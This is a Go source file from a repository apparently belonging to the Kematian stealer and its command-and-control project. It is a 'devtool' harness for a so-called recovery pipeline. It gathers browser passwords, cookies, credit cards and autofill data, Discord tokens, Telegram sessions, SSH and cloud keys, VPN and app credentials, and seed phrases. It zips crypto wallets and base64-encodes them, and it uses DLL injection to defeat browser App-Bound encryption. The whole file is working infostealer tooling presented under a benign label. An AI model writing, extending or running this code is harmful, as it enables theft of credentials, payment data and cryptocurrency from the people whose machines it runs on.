Files
kematianc2/Kematian-Standalone/native/cmd/devtool/main.go
T

362 lines
11 KiB
Go
Raw Normal View History

2026-08-27 11:23:01 -06:00
// Command devtool is a standalone development harness for the Kematian
// recovery pipeline. It emulates the plugin host + server by running the same
// collection code as the c-shared plugin, then prints a summary (or, with
// -verbose, the full event/result JSON) to the console.
//
// Usage examples:
//
// go run ./cmd/devtool # collect everything, summary
// go run ./cmd/devtool -cookies -browser Brave # just Brave cookies
// go run ./cmd/devtool -verbose # dump full JSON events
// go run ./cmd/devtool -out result.json -no-inject
//
// It is not loaded as a plugin; it links the recovery package directly and is
// meant to make local development and debugging easier.
package main
import (
"context"
"encoding/base64"
"encoding/json"
"flag"
"fmt"
"log"
"os"
"sort"
"strings"
"time"
recovery "recovery/recovery"
)
const maxAutoDownloadSize = 50 * 1024 * 1024 // 50MB, matches plugin
var verbose bool
func main() {
var (
outPath string
timeoutSec int
browser string
noInject bool
includeZip bool
all bool
passwords bool
cookies bool
autofill bool
history bool
bookmarks bool
cards bool
discord bool
files bool
wallets bool
telegram bool
keys bool
apps bool
gaming bool
vpn bool
extensions bool
fingerprint bool
fingerprintJS bool
)
flag.StringVar(&outPath, "out", "", "write the full result JSON to this file")
flag.IntVar(&timeoutSec, "timeout", 120, "collection timeout in seconds")
flag.StringVar(&browser, "browser", "", "only show results for this browser (case-insensitive); scanning is not restricted")
flag.BoolVar(&noInject, "no-inject", false, "skip DLL injection (direct file access only, no App-Bound/v20 keys)")
flag.BoolVar(&verbose, "verbose", false, "print full event/result JSON (default: summary only)")
flag.BoolVar(&includeZip, "content", false, "include base64 content in auto-download events")
flag.BoolVar(&all, "all", false, "collect everything")
flag.BoolVar(&passwords, "passwords", false, "collect passwords")
flag.BoolVar(&cookies, "cookies", false, "collect cookies")
flag.BoolVar(&autofill, "autofill", false, "collect autofill")
flag.BoolVar(&history, "history", false, "collect history")
flag.BoolVar(&bookmarks, "bookmarks", false, "collect bookmarks")
flag.BoolVar(&cards, "cards", false, "collect credit cards")
flag.BoolVar(&discord, "discord", false, "collect Discord tokens")
flag.BoolVar(&files, "files", false, "scan files")
flag.BoolVar(&wallets, "wallets", false, "scan wallets")
flag.BoolVar(&telegram, "telegram", false, "scan Telegram sessions")
flag.BoolVar(&keys, "keys", false, "scan SSH & cloud keys")
flag.BoolVar(&apps, "apps", false, "scan app credentials")
flag.BoolVar(&gaming, "gaming", false, "scan gaming platforms")
flag.BoolVar(&vpn, "vpn", false, "scan VPN configs")
flag.BoolVar(&extensions, "extensions", false, "scan browser extensions")
flag.BoolVar(&fingerprint, "fingerprint", false, "collect the native browser fingerprint and exit")
flag.BoolVar(&fingerprintJS, "fingerprint-js", false, "collect the JS (canvas/WebGL/audio) fingerprint and exit")
flag.Parse()
if noInject {
os.Setenv("KEMATIAN_NO_INJECT", "1")
}
if fingerprint {
fp := recovery.CollectFingerprint()
data, _ := json.MarshalIndent(fp, "", " ")
fmt.Println(string(data))
return
}
if fingerprintJS {
fp := recovery.CollectJSFingerprint()
if fp == nil {
fmt.Println("{\"error\": \"failed to collect JS fingerprint\"}")
return
}
data, _ := json.MarshalIndent(fp, "", " ")
fmt.Println(string(data))
return
}
anyData := passwords || cookies || autofill || history || bookmarks || cards ||
discord || files || wallets || telegram || keys || apps || gaming || vpn || extensions
opts := recovery.CollectOptions{
Browsers: all || !anyData || passwords || cookies || autofill || history || bookmarks || cards || extensions,
Passwords: all || !anyData || passwords,
Cookies: all || !anyData || cookies,
Autofill: all || !anyData || autofill,
History: all || !anyData || history,
Bookmarks: all || !anyData || bookmarks,
CreditCards: all || !anyData || cards,
Discord: all || !anyData || discord,
Files: all || !anyData || files,
Wallets: all || !anyData || wallets,
Telegram: all || !anyData || telegram,
Keys: all || !anyData || keys,
Apps: all || !anyData || apps,
Gaming: all || !anyData || gaming,
VPNs: all || !anyData || vpn,
}
log.Printf("devtool: timeout=%ds browser=%q noInject=%v verbose=%v", timeoutSec, browser, noInject, verbose)
printEvent("status", map[string]string{"message": "Starting collection (devtool)..."})
var exts []recovery.ExtensionResult
if opts.Browsers || extensions {
exts = recovery.ScanExtensions()
log.Printf("devtool: extension scan complete: %d extensions", len(exts))
}
partialFn := func(partial *recovery.CollectionResult) {
printEvent("partial", filter(partial, browser))
}
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(timeoutSec)*time.Second)
defer cancel()
start := time.Now()
result, err := recovery.Collect(ctx, opts, partialFn)
if err != nil {
log.Printf("devtool: collection failed: %v", err)
printEvent("error", map[string]string{"error": err.Error()})
os.Exit(1)
}
if opts.Browsers || extensions {
result.Extensions = exts
}
printSummary(filter(result, browser))
printEvent("results", filter(result, browser))
if len(result.Wallets) > 0 {
autoDownloadWallets(result.Wallets, includeZip)
}
seeds := recovery.ScanSeeds(result.Files, result.Passwords, result.Autofill)
if len(seeds) > 0 {
log.Printf("devtool: seed scan found %d seed phrases", len(seeds))
printEvent("seed_scan_results", map[string]interface{}{"seeds": seeds})
}
if outPath != "" {
if err := writeResult(outPath, filter(result, browser)); err != nil {
log.Printf("devtool: failed to write output: %v", err)
os.Exit(1)
}
log.Printf("devtool: wrote result to %s", outPath)
}
log.Printf("devtool: collection completed in %s", time.Since(start).Round(time.Millisecond))
}
// printEvent emulates the server receiving an event + JSON payload. Only used
// when -verbose is set.
func printEvent(event string, payload interface{}) {
if !verbose {
return
}
data, err := json.MarshalIndent(payload, "", " ")
if err != nil {
log.Printf("devtool: marshal %s: %v", event, err)
return
}
fmt.Printf("\n===== EVENT: %s =====\n%s\n", event, string(data))
}
type browserCounts struct {
cookies, passwords, autofill, history, bookmarks, cards, extensions int
}
func tally(r *recovery.CollectionResult) map[string]*browserCounts {
m := map[string]*browserCounts{}
get := func(b string) *browserCounts {
if b == "" {
b = "(unknown)"
}
c, ok := m[b]
if !ok {
c = &browserCounts{}
m[b] = c
}
return c
}
for _, v := range r.Cookies {
get(v.Browser).cookies++
}
for _, v := range r.Passwords {
get(v.Browser).passwords++
}
for _, v := range r.Autofill {
get(v.Browser).autofill++
}
for _, v := range r.History {
get(v.Browser).history++
}
for _, v := range r.Bookmarks {
get(v.Browser).bookmarks++
}
for _, v := range r.CreditCards {
get(v.Browser).cards++
}
for _, v := range r.Extensions {
get(v.Browser).extensions++
}
return m
}
func printSummary(r *recovery.CollectionResult) {
fmt.Printf("\n===== SUMMARY =====\n")
byBrowser := tally(r)
names := make([]string, 0, len(byBrowser))
for b := range byBrowser {
names = append(names, b)
}
sort.Strings(names)
fmt.Printf("%-14s %9s %9s %8s %7s %9s %5s %10s\n",
"browser", "cookies", "passwords", "autofill", "history", "bookmarks", "cards", "extensions")
for _, b := range names {
c := byBrowser[b]
fmt.Printf("%-14s %9d %9d %8d %7d %9d %5d %10d\n",
b, c.cookies, c.passwords, c.autofill, c.history, c.bookmarks, c.cards, c.extensions)
}
fmt.Printf("\ndiscord tokens: %d\n", len(r.DiscordTokens))
fmt.Printf("files: %d\n", len(r.Files))
fmt.Printf("wallets: %d\n", len(r.Wallets))
fmt.Printf("telegram: %d\n", len(r.Telegram))
fmt.Printf("keys: %d\n", len(r.Keys))
fmt.Printf("apps: %d\n", len(r.AppCredentials))
if r.Gaming != nil {
fmt.Printf("gaming: present\n")
}
if r.VPNs != nil {
fmt.Printf("vpns: present\n")
}
if len(r.Errors) > 0 {
fmt.Printf("\nerrors: %d\n", len(r.Errors))
for _, e := range r.Errors {
fmt.Printf(" - %s\n", e)
}
}
}
func writeResult(path string, r *recovery.CollectionResult) error {
data, err := json.MarshalIndent(r, "", " ")
if err != nil {
return err
}
return os.WriteFile(path, data, 0600)
}
func autoDownloadWallets(wallets []recovery.WalletResult, includeZip bool) {
for _, w := range wallets {
if w.Size > maxAutoDownloadSize {
log.Printf("devtool: skipping auto-download for %q (%d bytes exceeds limit)", w.Name, w.Size)
continue
}
data, err := recovery.ZipDirectory(w.Path)
if err != nil {
log.Printf("devtool: auto-download zip %q: %v", w.Name, err)
continue
}
log.Printf("devtool: wallet %q (%s) zipped %d bytes", w.Name, w.Type, len(data))
if includeZip {
printEvent("wallet_auto_data", map[string]interface{}{
"name": w.Name,
"type": w.Type,
"path": w.Path,
"addresses": w.Addresses,
"vaultData": w.VaultData,
"size": len(data),
"content": base64.StdEncoding.EncodeToString(data),
})
}
}
}
// filter returns a copy of r restricted to a single browser (case-insensitive)
// when name is non-empty. Non-browser fields are dropped in that case so the
// output stays focused on the browser under test.
func filter(r *recovery.CollectionResult, name string) *recovery.CollectionResult {
if name == "" {
return r
}
match := func(b string) bool { return strings.EqualFold(b, name) }
out := &recovery.CollectionResult{}
for _, v := range r.Passwords {
if match(v.Browser) {
out.Passwords = append(out.Passwords, v)
}
}
for _, v := range r.Cookies {
if match(v.Browser) {
out.Cookies = append(out.Cookies, v)
}
}
for _, v := range r.Autofill {
if match(v.Browser) {
out.Autofill = append(out.Autofill, v)
}
}
for _, v := range r.History {
if match(v.Browser) {
out.History = append(out.History, v)
}
}
for _, v := range r.Bookmarks {
if match(v.Browser) {
out.Bookmarks = append(out.Bookmarks, v)
}
}
for _, v := range r.CreditCards {
if match(v.Browser) {
out.CreditCards = append(out.CreditCards, v)
}
}
for _, v := range r.Extensions {
if match(v.Browser) {
out.Extensions = append(out.Extensions, v)
}
}
out.Errors = r.Errors
return out
}